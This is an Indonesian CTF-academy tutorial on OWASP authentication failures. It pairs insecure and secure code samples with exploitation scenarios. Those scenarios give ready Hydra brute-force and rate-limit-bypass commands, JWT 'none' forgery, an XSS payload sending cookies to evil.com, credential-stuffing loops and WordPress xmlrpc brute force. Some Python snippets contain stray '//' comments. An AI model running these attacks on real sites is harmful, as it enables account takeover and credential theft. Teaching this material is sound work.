TDCTF Academy Logo TDCTF ACADEMY

A07 - Identification and Authentication Failures (Kegagalan Identifikasi dan Autentikasi)

Definisi

Identification and Authentication Failures adalah kerentanan yang berkaitan dengan kelemahan dalam proses identifikasi pengguna, verifikasi identitas (autentikasi), dan pengelolaan sesi (session management). Kategori ini sebelumnya dikenal sebagai "Broken Authentication" di OWASP Top 10 edisi 2017, namun diperluas untuk mencakup kegagalan identifikasi yang lebih luas.

Kerentanan ini muncul ketika aplikasi gagal memverifikasi identitas pengguna dengan benar, memungkinkan attacker untuk menyamar sebagai pengguna lain, mencuri sesi, atau mendapatkan akses tidak sah ke akun pengguna. Masalah ini sering terjadi karena implementasi autentikasi yang komplex dan mudah salah.

Bentuk umum dari authentication failures meliputi:

  • Weak password policy: Tidak ada minimum panjang, kompleksitas, atau uniqueness password
  • Bruteforce tanpa rate limit: Tidak ada batasan jumlah percobaan login
  • Session fixation: Attacker bisa memaksa session ID tertentu pada korban
  • Credential stuffing: Menggunakan kredensial dari data breach untuk login
  • JWT tidak divalidasi: JSON Web Token tanpa veriasi signature atau algoritma yang aman
  • Insecure password storage: Password disimpan dalam plaintext atau hash lemah (MD5, SHA1)
  • Session timeout tidak ada: Session tetap aktif selamanya
  • Default/weak credentials: Username dan password bawaan yang mudah ditebak
  • Missing MFA: Tidak ada multi-factor authentication
  • Insecure password reset: Password reset link mudah ditebak atau tidak expire

Dampak

Dampak Deskripsi
Account Takeover (ATO) Attacker mengambil alih akun pengguna
Data Breach Akses ke data pribadi, finansial, atau medis korban
Privilege Escalation Akses ke akun admin dari akun user biasa
Financial Fraud Transaksi ilegal menggunakan akun korban
Reputation Damage Kehilangan kepercayaan pengguna
Regulatory Fines Pelanggaran GDPR, HIPAA, PCI DSS
Lateral Movement Dari satu akun ke akun lain dalam organisasi

Contoh Kode

Contoh 1: Implementasi Password Storage yang Buruk

# auth_bad.py - IMPLEMENTASI TIDAK AMAN

# 1. Password disimpan dalam plaintext!
users_db = {
"admin": {
"password": "admin123", # PLAINTEXT - sangat berbahaya!
"role": "admin"
},
"user1": {
"password": "password123",
"role": "user"
}
}

def login_bad(username, password):
user = users_db.get(username)
if user and user["password"] == password: # Perbandingan plaintext
return True
return False

# 2. Hash lemah: MD5 - sangat mudah di-crack
import hashlib

def store_password_md5(password):
return hashlib.md5(password.encode()).hexdigest()
# MD5 bisa di-crack dalam hitungan detik dengan GPU

# 3. Password disimpan di log
import logging
logging.basicConfig(level=logging.DEBUG)

def login_with_logging(username, password):
logging.debug(f"Login attempt: {username}:{password}") # INI BERBAHAYA!
# Password bocor ke file log!

Contoh 2: Implementasi Autentikasi yang Buruk

// auth_bad.js - Autentikasi tidak aman

// 1. Tidak ada rate limiting - bebas bruteforce
app.post('/login', (req, res) => {
const { username, password } = req.body;

// Tidak ada penundaan, tidak ada captcha, tidak ada limit
const user = users.find(u => u.username === username);

if (user && user.password === password) {
// 2. Session tidak aman
req.session.userId = user.id;
req.session.role = user.role;
req.session.cookie.maxAge = null; // Session tidak pernah expire!

res.json({ success: true });
} else {
// 3. Pesan error yang membantu attacker
res.json({
error: 'Username tidak ditemukan' // Memberi tahu bahwa username valid
});
}
});

// 4. JWT tanpa validasi
app.post('/api/data', (req, res) => {
const token = req.headers.authorization;
// Tidak memverifikasi signature JWT hanya decode saja
const payload = JSON.parse(atob(token.split('.')[1]));

// Langsung percaya payload tanpa verifikasi
if (payload.role === 'admin') {
res.json({ secret_data: 'sangat rahasia' });
}
});

Contoh 3: Implementasi Aman - Best Practice

# auth_good.py - IMPLEMENTASI AMAN
import bcrypt
import jwt
import re
from datetime import datetime, timedelta
from flask import Flask, request, jsonify
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'

limiter = Limiter(
app=app,
key_func=get_remote_address,
default_limits=["200 per day", "50 per hour"]
)

# 1. Password hashing yang kuat (bcrypt/argon2)
def hash_password(password):
# bcrypt secara otomatis menambahkan salt
return bcrypt.hashpw(
password.encode('utf-8'),
bcrypt.gensalt(rounds=12) # Cost factor 12
)

def verify_password(password, hashed):
return bcrypt.checkpw(
password.encode('utf-8'),
hashed.encode('utf-8')
)

# 2. Password policy yang ketat
def validate_password_policy(password):
errors = []
if len(password) < 12:
errors.append("Password minimal 12 karakter")
if not re.search(r'[A-Z]', password):
errors.append("Password harus mengandung huruf kapital")
if not re.search(r'[a-z]', password):
errors.append("Password harus mengandung huruf kecil")
if not re.search(r'[0-9]', password):
errors.append("Password harus mengandung angka")
if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
errors.append("Password harus mengandung karakter spesial")
if password.lower() in common_passwords:
errors.append("Password terlalu umum")
return errors

# 3. Rate limiting dengan Flask-Limiter
@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute") # Maks 5 percobaan per menit
def login():
username = request.json.get('username')
password = request.json.get('password')

# Cek username ada atau tidak - gunakan pesan generik
user = get_user(username)
if not user or not verify_password(password, user['password_hash']):
return jsonify({
'error': 'Username atau password salah' # Pesan generik
}), 401

# 4. JWT dengan validasi ketat
token = jwt.encode({
'user_id': user['id'],
'role': user['role'],
'exp': datetime.utcnow() + timedelta(hours=1),
'iat': datetime.utcnow(),
'jti': generate_unique_id()
}, app.config['SECRET_KEY'], algorithm='HS256')

return jsonify({'token': token, 'expires_in': 3600})

# 5. Verifikasi JWT dengan validasi penuh
def verify_token(token):
try:
payload = jwt.decode(
token,
app.config['SECRET_KEY'],
algorithms=['HS256'],
options={
'verify_exp': True, # Verifikasi expired
'verify_iat': True, # Verifikasi issued at
'require': ['exp', 'iat', 'jti'] # Wajib ada
}
)
return payload
except jwt.ExpiredSignatureError:
return None
except jwt.InvalidTokenError:
return None

Skenario Eksploitasi

Skenario 1: Brute Force Attack dengan Hydra

# Brute force form login
hydra -L usernames.txt -P /usr/share/wordlists/rockyou.txt \
target.com http-post-form \
"/login:username=^USER^&password=^PASS^:F=Login failed" \
-t 4 -V

# Brute force dengan rate limit bypass - multiple IP
for ip in $(seq 1 50); do
hydra -l admin -P passwords.txt \
target.com http-post-form \
"/login:user=^USER^&pass=^PASS^:F=incorrect" \
-t 1 &
done
wait

Skenario 2: JWT None Attack

Banyak library JWT lama yang menerima algoritma "none" jika tidak dikonfigurasi dengan benar.

# Step 1: Dapatkan token JWT
TOKEN=$(curl -s -X POST https://target.com/login \
-d '{"username":"user","password":"test"}' \
-H 'Content-Type: application/json' | jq -r '.token')

echo "Original token: $TOKEN"

# Step 2: Decode token
echo $TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null
# {"user":"user","role":"user","exp":1700000000}

# Step 3: Buat token palsu dengan algoritma "none"
# Header: {"alg":"none","typ":"JWT"}
# Payload: {"user":"admin","role":"admin","exp":9999999999}

# Token palsu (base64url encoded)
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJleHAiOjk5OTk5OTk5OTl9.

# Step 4: Akses endpoint admin dengan token palsu
curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJleHAiOjk5OTk5OTk5OTl9." \
https://target.com/admin

Skenario 3: Session Hijacking

# Step 1: Attacker mencuri session cookie via XSS
# Payload: <script>fetch('https://evil.com/steal?c='+document.cookie)</script>

# Step 2: Attacker menggunakan cookie curian
curl -H "Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ==" \
https://target.com/admin

# Step 3: Session fixation - attacker menyetel session ID
# Attacker membuat link: https://target.com/login?session_id=known_session_123
# Korban login dengan session ID tersebut
# Attacker menggunakan session ID yang sama untuk akses

Skenario 4: Credential Stuffing

# Menggunakan dataset breach untuk credential stuffing
# Dataset: collection1, COMB, HaveIBeenPwned

# Tool: Credential Stuffing dengan FFuF
ffuf -w leaked_credentials.txt \
-X POST \
-d "username=USER&password=PASS" \
-H "Content-Type: application/x-www-form-urlencoded" \
-u https://target.com/login \
-fc 401

# Atau dengan cURL
while IFS=: read -r user pass; do
response=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST https://target.com/login \
-d "username=$user&password=$pass")
if [ "$response" != "401" ]; then
echo "FOUND: $user:$pass -> HTTP $response"
fi
done < leaked_passwords.txt

Pencegahan

1. Implementasi Password Policy

# password_policy.py - Policy password yang aman
PASSWORD_POLICY = {
"min_length": 12,
"max_length": 128,
"require_uppercase": True,
"require_lowercase": True,
"require_digit": True,
"require_special": True,
"max_consecutive": 3,
"max_repeating": 2,
"common_password_check": True,
"password_history": 5, # Tidak boleh sama dengan 5 password terakhir
"password_expiry_days": 90, # Expired setiap 90 hari
}

# Gunakan zxcvbn untuk mengecek kekuatan password
import zxcvbn

def check_password_strength(password):
result = zxcvbn.zxcvbn(password)
if result['score'] < 3: # Score 0-4, minimal 3
suggestions = result['feedback']['suggestions']
return False, suggestions
return True, []

2. Implementasi Rate Limiting

# rate_limiting.py - Rate limiting layers
from flask_limiter import Limiter
from functools import wraps
import time

# Layer 1: Global rate limiting
limiter = Limiter(key_func=get_remote_address)
limiter.init_app(app)

# Layer 2: Per-endpoint rate limiting
@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute")
@limiter.limit("20 per hour")
@limiter.limit("100 per day")
def login_limited():
pass

# Layer 3: Progressive delay
login_attempts = {}

def progressive_delay(username):
attempts = login_attempts.get(username, 0) + 1
login_attempts[username] = attempts

# Exponential backoff
delay = min(2 ** attempts, 300) # Max 5 menit
time.sleep(delay)

# Layer 4: IP-based blocking
BLOCKED_IPS = set()

def check_ip_block():
ip = request.remote_addr
if ip in BLOCKED_IPS:
abort(403, "IP anda diblokir karena terlalu banyak percobaan")

3. Implementasi Session Management yang Aman

# session_management.py - Manajemen sesi yang aman

# 1. Session ID yang kuat
import secrets

def generate_session_id():
return secrets.token_urlsafe(32) # 256-bit random

# 2. Session expiry
SESSION_CONFIG = {
'absolute_timeout': 3600, # Session maksimal 1 jam
'idle_timeout': 900, // Idle timeout 15 menit
'renew_on_activity': True, // Perbarui idle timer pada aktivitas
}

# 3. Secure cookies
def configure_secure_cookies(app):
app.config.update(
SESSION_COOKIE_HTTPONLY=True, # Tidak bisa diakses JavaScript
SESSION_COOKIE_SECURE=True, // Hanya via HTTPS
SESSION_COOKIE_SAMESITE='Strict', # Proteksi CSRF
PERMANENT_SESSION_LIFETIME=3600,
)

# 4. Invalidate session di logout
def logout():
# Hapus session dari database
delete_session(session.sid)
# Hapus cookie
session.clear()
# Redirect ke login

4. Checklist Keamanan Autentikasi

  1. Password policy ketat: minimal 12 karakter, kombinasi huruf/angka/simbol
  2. Hash password dengan algoritma kuat: bcrypt, argon2, atau PBKDF2
  3. Rate limiting: batasi percobaan login (5-10 kali per menit per IP)
  4. Implementasi MFA: minimal TOTP atau SMS OTP untuk akun sensitif
  5. Secure session management: HTTPOnly, Secure, SameSite cookies
  6. Session timeout: absolute dan idle timeout
  7. Invaldasi session di logout: hapus session dari server-side
  8. JWT dengan validasi penuh: verifikasi signature, expiry, issuer, audience
  9. Gunakan pesan error generik: "Username atau password salah" (jangan spesifik)
  10. Monitor failed login: alert untuk multiple failed attempts
  11. Password reset yang aman: token sekali pakai, expiry pendek, verifikasi identitas
  12. Proteksi terhadap credential stuffing: gunakan CAPTCHA, device fingerprinting
  13. Cek password terhadap data breach: integrasi dengan HaveIBeenPwned API
  14. Enforce HTTPS: semua komunikasi autentikasi harus via HTTPS

5. Tools untuk Testing Autentikasi

Tool Fungsi
Hydra Brute force berbagai protokol (HTTP, FTP, SSH, dll)
FFuF Fuzzing untuk discovery dan credential stuffing
Burp Suite Intruder Automated attack dengan berbagai payload
JWT_Tool Testing keamanan JWT (algoritma, key confusion)
John The Ripper Password cracking untuk hash
Hashcat GPU-accelerated password cracking
Nmap NSE (http-brute) Brute force via Nmap
Medusa Parallel brute force tool

CWE Mapping

CWE ID Nama Deskripsi
CWE-287 Improper Authentication Mekanisme autentikasi yang tidak tepat atau tidak memadai. Memungkinkan attacker untuk mengautentikasi tanpa kredensial yang valid.
CWE-613 Insufficient Session Expiration Session yang tidak diatur waktu kedaluwarsanya (absolute timeout maupun idle timeout), memungkinkan session hijacking dalam jangka panjang.
CWE-522 Insufficiently Protected Credentials Kredensial yang tidak dilindungi dengan baik, seperti penyimpanan password dalam plaintext.
CWE-308 Use of Single-factor Authentication Hanya menggunakan satu faktor autentikasi (password) tanpa MFA untuk akun yang sensitif.
CWE-521 Weak Password Requirements Kebijakan password yang lemah - tidak ada minimum panjang, kompleksitas, atau uniqueness.
CWE-307 Improper Restriction of Excessive Authentication Attempts Tidak ada pembatasan percobaan autentikasi, memungkinkan bruteforce attack.
CWE-384 Session Fixation Attacker bisa memaksa session ID tertentu pada korban.
CWE-620 Unverified Password Change Tidak memverifikasi password lama saat perubahan password.
CWE-640 Weak Password Recovery Mechanism Mekanisme reset password yang lemah - token bisa ditebak, tidak expire, atau dikirim via channel tidak aman.

Lab Terkait

1. Portal - Login Brute Force

  • Deskripsi: Portal web dengan form login tanpa rate limiting
  • Endpoint: /login
  • Eksploitasi: Brute force dengan username dan password umum
  • Tools: Hydra, Burp Suite Intruder
# Hydra untuk bruteforce
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com http-post-form \
"/login:username=^USER^&password=^PASS^:F=Login gagal" \
-I

# Burp Suite - gunakan Intruder dengan pitchfork attack
# Positions: username=§admin§&password=§password§

2. Login API JWT

  • Deskripsi: API dengan autentikasi JWT yang tidak memvalidasi signature
  • Endpoint: /api/login, /api/admin
  • Eksploitasi: JWT None Attack, algorithm confusion (RS256 -> HS256)
  • Tools: jwt_tool, curl, python
# Uji JWT None attack dengan jwt_tool
python jwt_tool.py <token> -X a -I -pc role -pv admin

# Atau manual
echo '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_'
echo '{"user":"admin","role":"admin","exp":9999999999}' | base64 | tr -d '=' | tr '+/' '-_'
# Gabung: header.payload. (tanpa signature)

3. WordPress - Brute Force

  • Deskripsi: WordPress tanpa rate limiting dan proteksi bruteforce
  • Endpoint: /wp-login.php
  • Eksploitasi: Brute force dengan xmlrpc.php yang lebih efisien
  • Tools: wpscan, hydra, xmlrpc multipay
# WPScan untuk bruteforce WordPress
wpscan --url https://target.com \
--usernames admin \
--passwords /usr/share/wordlists/rockyou.txt

# Menggunakan xmlrpc.php untuk bruteforce yang lebih cepat
curl -X POST https://target.com/xmlrpc.php \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>password123</value></param>
</params>
</methodCall>'

# Xmlrpc multipay - 1 request = banyak percobaan
python xmlrpc-bruteforce.py -u https://target.com -U users.txt -P passwords.txt

Kesimpulan

Identification and Authentication Failures tetap menjadi salah satu kerentanan yang paling sering dieksploitasi karena:

  1. Autentikasi adalah gerbang utama - setiap aplikasi memilikinya
  2. Implementasi yang sulit - mudah salah, banyak edge cases
  3. Teknik serangan berkembang - credential stuffing, MFA bypass, OAuth abuse
  4. Dampak langsung - account takeover, data breach, fraud

Pencegahan terbaik adalah dengan mengadopsi praktik keamanan autentikasi modern: passwordless authentication, MFA, biometric, dan adaptive authentication berdasarkan risk scoring. Jangan pernah menganggap autentikasi sebagai fitur "set and forget" - audit dan update secara berkala.

PADA HALAMAN INI